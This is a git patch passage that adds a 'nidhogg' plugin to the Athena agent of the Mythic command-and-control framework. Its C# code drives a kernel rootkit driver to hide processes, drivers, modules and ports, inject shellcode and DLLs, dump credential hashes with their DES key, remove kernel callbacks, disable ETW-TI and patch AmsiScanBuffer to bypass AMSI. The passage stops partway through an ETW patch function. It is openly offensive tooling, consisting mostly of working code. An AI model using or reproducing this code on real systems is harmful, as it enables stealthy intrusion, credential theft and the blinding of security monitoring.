From 398915f6daecf63c5c84c993179b81e05cec7238 Mon Sep 17 00:00:00 2001 From: checkymander Date: Tue, 26 Mar 2024 12:05:32 -0400 Subject: [PATCH 01/35] add nidhogg plugin --- .../Responses/ProcessTaskResponse.cs | 1 + .../athena/athena/agent_code/Agent.sln | 7 + .../agent_code/nidhogg/NidhoggApi/Nidhogg.cs | 62 ++ .../nidhogg/NidhoggApi/NidhoggAntiAnalysis.cs | 132 ++++ .../nidhogg/NidhoggApi/NidhoggFile.cs | 72 ++ .../nidhogg/NidhoggApi/NidhoggIoctls.cs | 134 ++++ .../nidhogg/NidhoggApi/NidhoggMemory.cs | 268 ++++++++ .../nidhogg/NidhoggApi/NidhoggNetwork.cs | 66 ++ .../nidhogg/NidhoggApi/NidhoggProcess.cs | 106 +++ .../nidhogg/NidhoggApi/NidhoggRegistry.cs | 197 ++++++ .../nidhogg/NidhoggApi/NidhoggStructs.cs | 340 ++++++++++ .../nidhogg/NidhoggApi/NidhoggThread.cs | 84 +++ .../athena/agent_code/nidhogg/NidhoggArgs.cs | 19 + .../athena/agent_code/nidhogg/nidhogg.cs | 637 ++++++++++++++++++ .../athena/agent_code/nidhogg/nidhogg.csproj | 19 + .../athena/athena/agent_code/ps/ps.cs | 46 -- .../athena/mythic/agent_functions/nidhogg.py | 107 +++ 17 files changed, 2251 insertions(+), 46 deletions(-) create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/Nidhogg.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggAntiAnalysis.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggFile.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggIoctls.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggMemory.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggNetwork.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggProcess.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggRegistry.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggStructs.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggThread.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/NidhoggArgs.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/nidhogg.cs create mode 100644 Payload_Type/athena/athena/agent_code/nidhogg/nidhogg.csproj create mode 100644 Payload_Type/athena/athena/mythic/agent_functions/nidhogg.py diff --git a/Payload_Type/athena/athena/agent_code/Agent.Models/Responses/ProcessTaskResponse.cs b/Payload_Type/athena/athena/agent_code/Agent.Models/Responses/ProcessTaskResponse.cs index 89f475385..e8acb9886 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Models/Responses/ProcessTaskResponse.cs +++ b/Payload_Type/athena/athena/agent_code/Agent.Models/Responses/ProcessTaskResponse.cs @@ -30,5 +30,6 @@ public class ServerProcessInfo public long start_time { get; set; } public string description { get; set; } public string signer { get; set; } + public bool update_deleted = true; } } diff --git a/Payload_Type/athena/athena/agent_code/Agent.sln b/Payload_Type/athena/athena/agent_code/Agent.sln index 7473716f3..939dfd38a 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.sln +++ b/Payload_Type/athena/athena/agent_code/Agent.sln @@ -163,6 +163,8 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Agent.Tests", "Tests\Agent. EndProject Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Agent.Tests.Defender", "Tests\Agent.Tests.Defender\Agent.Tests.Defender.csproj", "{84378312-9D23-4DFF-ACA2-587EC463BB79}" EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "nidhogg", "nidhogg\nidhogg.csproj", "{540E8838-071D-4DBE-8A5B-D897278720F7}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -465,6 +467,10 @@ Global {84378312-9D23-4DFF-ACA2-587EC463BB79}.Debug|Any CPU.Build.0 = Debug|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Release|Any CPU.ActiveCfg = Release|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Release|Any CPU.Build.0 = Release|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.Release|Any CPU.ActiveCfg = Release|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE @@ -547,6 +553,7 @@ Global {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D} = {E014E0E5-A190-4AAF-A0E9-01DA299A4E21} {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0} = {2B702357-DFFB-40D0-B3F9-93D06FDAD37D} {84378312-9D23-4DFF-ACA2-587EC463BB79} = {2B702357-DFFB-40D0-B3F9-93D06FDAD37D} + {540E8838-071D-4DBE-8A5B-D897278720F7} = {E014E0E5-A190-4AAF-A0E9-01DA299A4E21} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {A98FF3E6-31F5-4EE0-BA47-B440723219ED} diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/Nidhogg.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/Nidhogg.cs new file mode 100644 index 000000000..62d791c0e --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/Nidhogg.cs @@ -0,0 +1,62 @@ +using System; +using System.Runtime.InteropServices; + +namespace NidhoggCSharpApi +{ + public class NidhoggApiException : Exception + { + public NidhoggApiException(string message) : base(message) + { + } + } + + internal partial class NidhoggApi + { + private NidhoggErrorCodes lastError; + private IntPtr hNidhogg; + private const string DRIVER_NAME = "\\\\.\\Nidhogg"; + private const uint GENERIC_READ = 0x80000000; + private const uint GENERIC_WRITE = 0x40000000; + private const uint OPEN_EXISTING = 3; + private const int INVALID_HANDLE_VALUE = -1; + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern IntPtr CreateFileW(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode, IntPtr lpInBuffer, uint nInBufferSize, IntPtr lpOutBuffer, uint nOutBufferSize, out uint lpBytesReturned, IntPtr lpOverlapped); + + + public NidhoggApi() + { + lastError = NidhoggErrorCodes.NIDHOGG_SUCCESS; + hNidhogg = CreateFileW(DRIVER_NAME, GENERIC_WRITE | GENERIC_READ, 0, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero); + + if (hNidhogg == new IntPtr(INVALID_HANDLE_VALUE) || hNidhogg == IntPtr.Zero) + throw new NidhoggApiException("Failed to connect to Nidhogg driver"); + } + + ~NidhoggApi() + { + if (hNidhogg != IntPtr.Zero && hNidhogg != new IntPtr(INVALID_HANDLE_VALUE)) + CloseHandle(hNidhogg); + } + + public NidhoggErrorCodes ExecuteScript(IntPtr script, uint scriptSize) + { + if (script == IntPtr.Zero || scriptSize == 0) + return NidhoggErrorCodes.NIDHOGG_INVALID_INPUT; + + ScriptInformation scriptInformation = new ScriptInformation + { + Script = script, + ScriptSize = scriptSize + }; + + return NidhoggSendDataIoctl(scriptInformation, IOCTL_EXEC_SCRIPT); + } + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggAntiAnalysis.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggAntiAnalysis.cs new file mode 100644 index 000000000..fb9afbb2f --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggAntiAnalysis.cs @@ -0,0 +1,132 @@ +using System; +using static NidhoggCSharpApi.NidhoggApi; +using System.Runtime.InteropServices; +using System.Runtime.InteropServices.ComTypes; + +namespace NidhoggCSharpApi +{ + internal partial class NidhoggApi + { + private NidhoggErrorCodes EnableDisableCallback(ulong callbackAddress, CallbackType callbackType, bool remove) + { + KernelCallback callback = new KernelCallback + { + CallbackAddress = callbackAddress, + Type = callbackType, + Remove = remove + }; + + return NidhoggSendDataIoctl(callback, IOCTL_REMOVE_RESTORE_CALLBACK); + } + + public NidhoggErrorCodes EnableCallback(ulong callbackAddress, CallbackType callbackType) + { + return EnableDisableCallback(callbackAddress, callbackType, false); + } + + public NidhoggErrorCodes DisableCallback(ulong callbackAddress, CallbackType callbackType) + { + return EnableDisableCallback(callbackAddress, callbackType, true); + } + + public NidhoggErrorCodes EnableDisableEtwTi(bool enable) + { + return NidhoggSendDataIoctl(enable, IOCTL_ENABLE_DISABLE_ETWTI); + } + + public PsRoutinesList ListPsRoutines(CallbackType callbackType) + { + int structSize = Marshal.SizeOf(); + + RawPsRoutinesList rawRoutines = new RawPsRoutinesList + { + Type = callbackType, + }; + rawRoutines.Routines = Marshal.AllocHGlobal((int)MAX_ROUTINES * structSize); + + rawRoutines = NidhoggSendRecieveDataIoctl(rawRoutines, IOCTL_LIST_PSROUTINES); + + if (rawRoutines.NumberOfRoutines == 0) + return new PsRoutinesList(); + + PsRoutinesList routines = new PsRoutinesList + { + Type = callbackType, + NumberOfRoutines = rawRoutines.NumberOfRoutines, + Routines = new PsRoutine[MAX_ROUTINES] + }; + + for (int i = 0; i < rawRoutines.NumberOfRoutines; i++) + { + IntPtr currentPtr = IntPtr.Add(rawRoutines.Routines, i * structSize); + routines.Routines[i] = Marshal.PtrToStructure(currentPtr); + } + + Marshal.FreeHGlobal(rawRoutines.Routines); + return routines; + } + + public CmCallbacksList ListRegistryCallbacks() + { + int structSize = Marshal.SizeOf(); + + RawCmCallbacksList rawCallbacks = new RawCmCallbacksList + { + Callbacks = Marshal.AllocHGlobal((int)MAX_ROUTINES * structSize) + }; + + rawCallbacks = NidhoggSendRecieveDataIoctl(rawCallbacks, IOCTL_LIST_REGCALLBACKS); + + if (rawCallbacks.NumberOfCallbacks == 0) + return new CmCallbacksList(); + + CmCallbacksList callbacks = new CmCallbacksList + { + NumberOfCallbacks = rawCallbacks.NumberOfCallbacks, + Callbacks = new CmCallback[MAX_ROUTINES] + }; + + for (int i = 0; i < rawCallbacks.NumberOfCallbacks; i++) + { + IntPtr currentPtr = IntPtr.Add(rawCallbacks.Callbacks, i * structSize); + callbacks.Callbacks[i] = Marshal.PtrToStructure(currentPtr); + } + + Marshal.FreeHGlobal(rawCallbacks.Callbacks); + return callbacks; + } + + public ObCallbacksList ListObCallbacks(CallbackType callbackType) + { + int structSize = Marshal.SizeOf(); + RawObCallbacksList rawCallbacks = new RawObCallbacksList + { + NumberOfCallbacks = 0, + Type = callbackType + }; + + rawCallbacks = NidhoggSendRecieveDataIoctl(rawCallbacks, IOCTL_LIST_OBCALLBACKS); + + if (rawCallbacks.NumberOfCallbacks == 0) + return new ObCallbacksList(); + rawCallbacks.Callbacks = Marshal.AllocHGlobal((int)rawCallbacks.NumberOfCallbacks * structSize); + + ObCallbacksList callbacks = new ObCallbacksList + { + NumberOfCallbacks = rawCallbacks.NumberOfCallbacks, + Type = callbackType, + Callbacks = new ObCallback[rawCallbacks.NumberOfCallbacks] + }; + rawCallbacks = NidhoggSendRecieveDataIoctl(rawCallbacks, IOCTL_LIST_OBCALLBACKS); + + for (int i = 0; i < rawCallbacks.NumberOfCallbacks; i++) + { + IntPtr currentPtr = IntPtr.Add(rawCallbacks.Callbacks, i * structSize); + callbacks.Callbacks[i] = Marshal.PtrToStructure(currentPtr); + } + + Marshal.FreeHGlobal(rawCallbacks.Callbacks); + return callbacks; + } + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggFile.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggFile.cs new file mode 100644 index 000000000..6f97242fb --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggFile.cs @@ -0,0 +1,72 @@ +using System; +using System.Runtime.InteropServices; + +namespace NidhoggCSharpApi +{ + internal partial class NidhoggApi + { + private NidhoggErrorCodes FileProtection(string filePath, bool protect) + { + ProtectedFile protectedFile; + + if (filePath.Length > MAX_PATH) + return NidhoggErrorCodes.NIDHOGG_INVALID_INPUT; + + protectedFile = new ProtectedFile + { + FilePath = filePath, + Protect = protect + }; + + return NidhoggSendDataIoctl(protectedFile, IOCTL_PROTECT_UNPROTECT_FILE); + } + + public NidhoggErrorCodes FileProtect(string filePath) + { + return FileProtection(filePath, true); + } + + public NidhoggErrorCodes FileUnprotect(string filePath) + { + return FileProtection(filePath, false); + } + + public NidhoggErrorCodes FileClearAllProtection() + { + if (!DeviceIoControl(this.hNidhogg, IOCTL_CLEAR_FILE_PROTECTION, + IntPtr.Zero, 0, IntPtr.Zero, 0, out uint _, IntPtr.Zero)) + return NidhoggErrorCodes.NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + + return NidhoggErrorCodes.NIDHOGG_SUCCESS; + } + + public string[] QueryFiles() + { + FileItem currentFileItem; + string[] files; + int amountOfFiles; + + currentFileItem = new FileItem + { + FileIndex = 0 + }; + currentFileItem = NidhoggRecieveDataIoctl(currentFileItem, IOCTL_QUERY_FILES); + amountOfFiles = currentFileItem.FileIndex; + + if (amountOfFiles == 0) + return null; + + files = new string[amountOfFiles]; + files[0] = currentFileItem.FilePath.ToString(); + + for (int i = 1; i < amountOfFiles; i++) + { + currentFileItem.FileIndex = i; + currentFileItem = NidhoggRecieveDataIoctl(currentFileItem, IOCTL_QUERY_FILES); + files[i] = currentFileItem.FilePath.ToString(); + } + + return files; + } + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggIoctls.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggIoctls.cs new file mode 100644 index 000000000..cfedcbf93 --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggIoctls.cs @@ -0,0 +1,134 @@ +using System.Runtime.InteropServices; +using System; + +namespace NidhoggCSharpApi +{ + internal partial class NidhoggApi + { + private const uint METHOD_BUFFERED = 0; + private const uint FILE_ANY_ACCESS = 0; + + private uint IOCTL_PROTECT_UNPROTECT_PROCESS = CTL_CODE(0x8000, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_CLEAR_PROCESS_PROTECTION = CTL_CODE(0x8000, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_HIDE_UNHIDE_PROCESS = CTL_CODE(0x8000, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_ELEVATE_PROCESS = CTL_CODE(0x8000, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_SET_PROCESS_SIGNATURE_LEVEL = CTL_CODE(0x8000, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_QUERY_PROTECTED_PROCESSES = CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS); + + private uint IOCTL_PROTECT_UNPROTECT_THREAD = CTL_CODE(0x8000, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_CLEAR_THREAD_PROTECTION = CTL_CODE(0x8000, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_HIDE_UNHIDE_THREAD = CTL_CODE(0x8000, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_QUERY_PROTECTED_THREADS = CTL_CODE(0x8000, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS); + + private uint IOCTL_PROTECT_UNPROTECT_FILE = CTL_CODE(0x8000, 0x80A, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_CLEAR_FILE_PROTECTION = CTL_CODE(0x8000, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_QUERY_FILES = CTL_CODE(0x8000, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS); + + private uint IOCTL_PROTECT_REGITEM = CTL_CODE(0x8000, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_UNPROTECT_REGITEM = CTL_CODE(0x8000, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_CLEAR_REGITEMS = CTL_CODE(0x8000, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_QUERY_REGITEMS = CTL_CODE(0x8000, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS); + + private uint IOCTL_PATCH_MODULE = CTL_CODE(0x8000, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_INJECT_SHELLCODE = CTL_CODE(0x8000, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_INJECT_DLL = CTL_CODE(0x8000, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_HIDE_MODULE = CTL_CODE(0x8000, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_HIDE_UNHIDE_DRIVER = CTL_CODE(0x8000, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_DUMP_CREDENTIALS = CTL_CODE(0x8000, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS); + + private uint IOCTL_LIST_OBCALLBACKS = CTL_CODE(0x8000, 0x817, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_LIST_PSROUTINES = CTL_CODE(0x8000, 0x818, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_LIST_REGCALLBACKS = CTL_CODE(0x8000, 0x819, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_REMOVE_RESTORE_CALLBACK = CTL_CODE(0x8000, 0x81A, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_ENABLE_DISABLE_ETWTI = CTL_CODE(0x8000, 0x81B, METHOD_BUFFERED, FILE_ANY_ACCESS); + + private uint IOCTL_HIDE_UNHIDE_PORT = CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_CLEAR_HIDDEN_PORTS = CTL_CODE(0x8000, 0x81D, METHOD_BUFFERED, FILE_ANY_ACCESS); + private uint IOCTL_QUERY_HIDDEN_PORTS = CTL_CODE(0x8000, 0x81E, METHOD_BUFFERED, FILE_ANY_ACCESS); + + private uint IOCTL_EXEC_SCRIPT = CTL_CODE(0x8000, 0x81F, METHOD_BUFFERED, FILE_ANY_ACCESS); + + private static uint CTL_CODE(uint DeviceType, uint Function, uint Method, uint Access) + { + return ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method); + } + + private NidhoggErrorCodes NidhoggSendDataIoctl(DataType data, uint ioctl) + { + IntPtr dataPtr; + NidhoggErrorCodes errorCode = NidhoggErrorCodes.NIDHOGG_SUCCESS; + + try + { + dataPtr = Marshal.AllocHGlobal(Marshal.SizeOf()); + Marshal.StructureToPtr(data, dataPtr, false); + } + catch (OutOfMemoryException) + { + errorCode = NidhoggErrorCodes.NIDHOGG_GENERAL_ERROR; + return errorCode; + } + + if (!DeviceIoControl(hNidhogg, ioctl, dataPtr, + (uint)Marshal.SizeOf(), IntPtr.Zero, 0, out uint _, IntPtr.Zero)) + { + errorCode = NidhoggErrorCodes.NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + } + + Marshal.FreeHGlobal(dataPtr); + return errorCode; + } + + private DataType NidhoggRecieveDataIoctl(DataType data, uint ioctl) + { + IntPtr dataPtr; + + try + { + dataPtr = Marshal.AllocHGlobal(Marshal.SizeOf()); + Marshal.StructureToPtr(data, dataPtr, false); + } + catch (OutOfMemoryException) + { + throw new NidhoggApiException("[-] Out of memory"); + } + + if (!DeviceIoControl(hNidhogg, ioctl, IntPtr.Zero, 0, dataPtr, + (uint)Marshal.SizeOf(), out uint _, IntPtr.Zero)) + { + Marshal.FreeHGlobal(dataPtr); + throw new NidhoggApiException("[-] Failed to execute DeviceIoControl"); + } + DataType returnedData = Marshal.PtrToStructure(dataPtr); + + Marshal.FreeHGlobal(dataPtr); + return returnedData; + } + + private DataType NidhoggSendRecieveDataIoctl(DataType data, uint ioctl) + { + IntPtr dataPtr; + + try + { + dataPtr = Marshal.AllocHGlobal(Marshal.SizeOf()); + Marshal.StructureToPtr(data, dataPtr, false); + } + catch (OutOfMemoryException) + { + throw new NidhoggApiException("Out of memory"); + } + + if (!DeviceIoControl(hNidhogg, ioctl, dataPtr, (uint)Marshal.SizeOf(), dataPtr, + (uint)Marshal.SizeOf(), out uint _, IntPtr.Zero)) + { + Marshal.FreeHGlobal(dataPtr); + throw new NidhoggApiException("Failed to execute DeviceIoControl"); + } + DataType returnedData = Marshal.PtrToStructure(dataPtr); + + Marshal.FreeHGlobal(dataPtr); + return returnedData; + } + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggMemory.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggMemory.cs new file mode 100644 index 000000000..50cbc87cd --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggMemory.cs @@ -0,0 +1,268 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace NidhoggCSharpApi +{ + internal partial class NidhoggApi + { + private string ParsePath(string path) + { + if (path.Length == 0) + return ""; + + if (path.Contains("C:\\Windows")) + return path.Replace("C:\\Windows", "\\SystemRoot"); + else if (path.Contains("C:\\")) + return path.Replace("C:\\", "\\??\\C:\\"); + + return path; + } + + private NidhoggErrorCodes DriverHiding(string driverName, bool hide) + { + if (driverName.Length == 0 || driverName.Length > MAX_PATH) + return NidhoggErrorCodes.NIDHOGG_INVALID_INPUT; + + HiddenDriverInformation inputHideDriver = new HiddenDriverInformation + { + DriverName = ParsePath(driverName), + Hide = hide + }; + + return NidhoggSendDataIoctl(inputHideDriver, IOCTL_HIDE_UNHIDE_DRIVER); + } + + public NidhoggErrorCodes HideDriver(string driverName) + { + return DriverHiding(driverName, true); + } + + public NidhoggErrorCodes UnhideDriver(string driverName) + { + return DriverHiding(driverName, false); + } + + public NidhoggErrorCodes DllInject(uint pid, string dllPath, InjectionType injectionType) + { + if (pid == 0 || pid == SYSTEM_PID || dllPath.Length == 0 || dllPath.Length > MAX_PATH) + return NidhoggErrorCodes.NIDHOGG_INVALID_INPUT; + + DllInformation inputInjectDll = new DllInformation + { + Pid = pid, + Type = injectionType, + DllPath = dllPath + }; + + return NidhoggSendDataIoctl(inputInjectDll, IOCTL_INJECT_DLL); + } + + public NidhoggErrorCodes ShellcodeInject(uint pid, IntPtr shellcode, uint shellcodeLength, IntPtr parameter1, + IntPtr parameter2, IntPtr parameter3, InjectionType injectionType) + { + if (pid == 0 || pid == SYSTEM_PID || shellcode == IntPtr.Zero || shellcodeLength == 0) + return NidhoggErrorCodes.NIDHOGG_INVALID_INPUT; + + ShellcodeInformation inputInjectShellcode = new ShellcodeInformation + { + Pid = pid, + Shellcode = shellcode, + ShellcodeSize = shellcodeLength, + Parameter1 = parameter1, + Parameter2 = parameter2, + Parameter3 = parameter3, + Type = injectionType + }; + + return NidhoggSendDataIoctl(inputInjectShellcode, IOCTL_INJECT_SHELLCODE); + } + + public NidhoggErrorCodes HideModule(uint pid, string moduleName) + { + if (pid == 0 || pid == SYSTEM_PID || moduleName.Length == 0 || moduleName.Length > MAX_PATH) + return NidhoggErrorCodes.NIDHOGG_INVALID_INPUT; + + HiddenModuleInformation inputHideModule = new HiddenModuleInformation + { + Pid = pid, + ModuleName = moduleName + }; + + return NidhoggSendDataIoctl(inputHideModule, IOCTL_HIDE_MODULE); + } + + public (Credentials[] credentials, DesKeyInformation desKey) DumpCredentials() + { + // Triggering cache. + int i; + bool success = true; + OutputCredentials currentOutputCreds = new OutputCredentials(); + uint credAmount = 0; + credAmount = NidhoggRecieveDataIoctl(credAmount, IOCTL_DUMP_CREDENTIALS); + + if (credAmount == 0) + return (null, new DesKeyInformation()); + + // Getting DES key. + DesKeyInformation desKeyInformation = new DesKeyInformation(); + desKeyInformation = NidhoggRecieveDataIoctl(desKeyInformation, IOCTL_DUMP_CREDENTIALS); + + if (desKeyInformation.Size == 0) + throw new NidhoggApiException("[-] Failed to dump credentials: Invalid DES key size"); + + desKeyInformation.Data = Marshal.AllocHGlobal((int)desKeyInformation.Size); + + if (desKeyInformation.Data == IntPtr.Zero) + throw new NidhoggApiException("[-] Failed to dump credentials: Failed to allocate DES key memory"); + + try + { + desKeyInformation = NidhoggSendRecieveDataIoctl(desKeyInformation, IOCTL_DUMP_CREDENTIALS); + } + catch (NidhoggApiException e) + { + Marshal.FreeHGlobal(desKeyInformation.Data); + throw e; + } + + Credentials[] credentials = new Credentials[credAmount]; + + for (i = 0; i < credAmount; i++) + { + currentOutputCreds.Index = (uint)i; + currentOutputCreds.Creds.Username.Buffer = IntPtr.Zero; + currentOutputCreds.Creds.Username.Length = 0; + currentOutputCreds.Creds.Domain.Buffer = IntPtr.Zero; + currentOutputCreds.Creds.Domain.Length = 0; + currentOutputCreds.Creds.EncryptedHash.Buffer = IntPtr.Zero; + currentOutputCreds.Creds.EncryptedHash.Length = 0; + currentOutputCreds = NidhoggSendRecieveDataIoctl(currentOutputCreds, IOCTL_DUMP_CREDENTIALS); + + if (currentOutputCreds.Creds.Username.Length == 0) + { + success = false; + break; + } + + currentOutputCreds.Creds.Username.Buffer = Marshal.AllocHGlobal(currentOutputCreds.Creds.Username.Length); + + if (currentOutputCreds.Creds.Username.Buffer == IntPtr.Zero) + { + success = false; + break; + } + + if (currentOutputCreds.Creds.Domain.Length == 0) + { + Marshal.FreeHGlobal(currentOutputCreds.Creds.Username.Buffer); + success = false; + break; + } + + currentOutputCreds.Creds.Domain.Buffer = Marshal.AllocHGlobal(currentOutputCreds.Creds.Domain.Length); + + if (currentOutputCreds.Creds.Domain.Buffer == IntPtr.Zero) + { + Marshal.FreeHGlobal(currentOutputCreds.Creds.Username.Buffer); + success = false; + break; + } + + if (currentOutputCreds.Creds.EncryptedHash.Length == 0) + { + Marshal.FreeHGlobal(currentOutputCreds.Creds.Domain.Buffer); + Marshal.FreeHGlobal(currentOutputCreds.Creds.Username.Buffer); + success = false; + break; + } + + currentOutputCreds.Creds.EncryptedHash.Buffer = Marshal.AllocHGlobal(currentOutputCreds.Creds.EncryptedHash.Length); + + if (currentOutputCreds.Creds.EncryptedHash.Buffer == IntPtr.Zero) + { + Marshal.FreeHGlobal(currentOutputCreds.Creds.Domain.Buffer); + Marshal.FreeHGlobal(currentOutputCreds.Creds.Username.Buffer); + success = false; + break; + } + + currentOutputCreds = NidhoggSendRecieveDataIoctl(currentOutputCreds, IOCTL_DUMP_CREDENTIALS); + + credentials[i] = new Credentials + { + Username = currentOutputCreds.Creds.Username, + Domain = currentOutputCreds.Creds.Domain, + EncryptedHash = currentOutputCreds.Creds.EncryptedHash + }; + } + + if (!success) + { + if (desKeyInformation.Data != IntPtr.Zero) + Marshal.FreeHGlobal(desKeyInformation.Data); + + for (int j = 0; j < i; j++) + { + if (credentials[j].Username.Buffer != IntPtr.Zero) + Marshal.FreeHGlobal(credentials[j].Username.Buffer); + + if (credentials[j].Domain.Buffer != IntPtr.Zero) + Marshal.FreeHGlobal(credentials[j].Domain.Buffer); + + if (credentials[j].EncryptedHash.Buffer != IntPtr.Zero) + Marshal.FreeHGlobal(credentials[j].EncryptedHash.Buffer); + } + + throw new NidhoggApiException("[-] Failed to dump credentials"); + } + + return (credentials, desKeyInformation); + } + + public NidhoggErrorCodes PatchModule(uint pid, IntPtr patch, uint patchLength, string functionName, string moduleName) + { + if (pid == 0 || pid == SYSTEM_PID || moduleName.Length == 0 || moduleName.Length > MAX_PATH || + functionName.Length == 0 || patchLength == 0 || patch == IntPtr.Zero) + return NidhoggErrorCodes.NIDHOGG_INVALID_INPUT; + + PatchedModule inputPatchModule = new PatchedModule + { + Pid = pid, + Patch = patch, + PatchLength = patchLength, + FunctionName = functionName, + ModuleName = moduleName + }; + + return NidhoggSendDataIoctl(inputPatchModule, IOCTL_PATCH_MODULE); + } + + public NidhoggErrorCodes AmsiBypass(uint pid) + { + byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; + IntPtr patchPtr = Marshal.AllocHGlobal(patch.Length); + Marshal.Copy(patch, 0, patchPtr, patch.Length); + + NidhoggErrorCodes error = PatchModule(pid, patchPtr, (uint)patch.Length, "AmsiScanBuffer", + "C:\\Windows\\System32\\Amsi.dll"); + Marshal.FreeHGlobal(patchPtr); + return error; + } + + public NidhoggErrorCodes EtwPatch(uint pid) + { + byte[] patch = { 0xC3 }; + IntPtr patchPtr = Marshal.AllocHGlobal(patch.Length); + Marshal.Copy(patch, 0, 